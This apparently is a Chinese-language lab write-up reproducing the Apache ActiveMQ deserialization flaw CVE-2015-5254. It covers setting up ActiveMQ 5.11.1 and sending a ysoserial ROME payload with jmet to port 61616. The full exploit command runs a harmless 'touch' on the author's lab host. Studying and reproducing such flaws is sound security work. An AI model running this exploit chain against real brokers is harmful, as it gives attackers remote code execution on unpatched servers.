Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现

一、漏洞描述

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

二、漏洞影响版本

Apache ActiveMQ 5.13.0之前的版本

三、漏洞环境搭建

1、官网下载ActiveMQ 5.11.1版本下载地址:http://activemq.apache.org/download-archives.html

2、解压

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第1张

3、启动,进入bin目录下,运行./activemq start

查看是否启动成功,./activemq status

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第2张

4、浏览器访问http://192.168.10.149:8161/,如下图可以看到成功搭建环境

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第3张

四、漏洞复现

1、 漏洞利用过程如下:

a.构成(使用ysoserial)可执行命令的序列化对象

b.作为一个消息,发送给目标的61616端口

c.访问web管理页面,读取消息,触发漏洞

2、下载jmet的jar文件,下载地址为: https://github.com/matthiaskaiser/jmet,复制到kali的/opt目录下,并在当前目录下创建一个external文件夹。Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第4张

3、执行如下命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   192.168.10.149   61616

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第5张

4、此时会给目标的ActiveMQ添加一个名为事件的队列,通过访问http://192.168.10.149:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有的消息

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第6张

5、点击查看这条消息即可触发命令执行

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第7张

6、此刻查看/tmp/,已经成功创建,说明漏洞利用成功

  Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 Safe 第8张

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄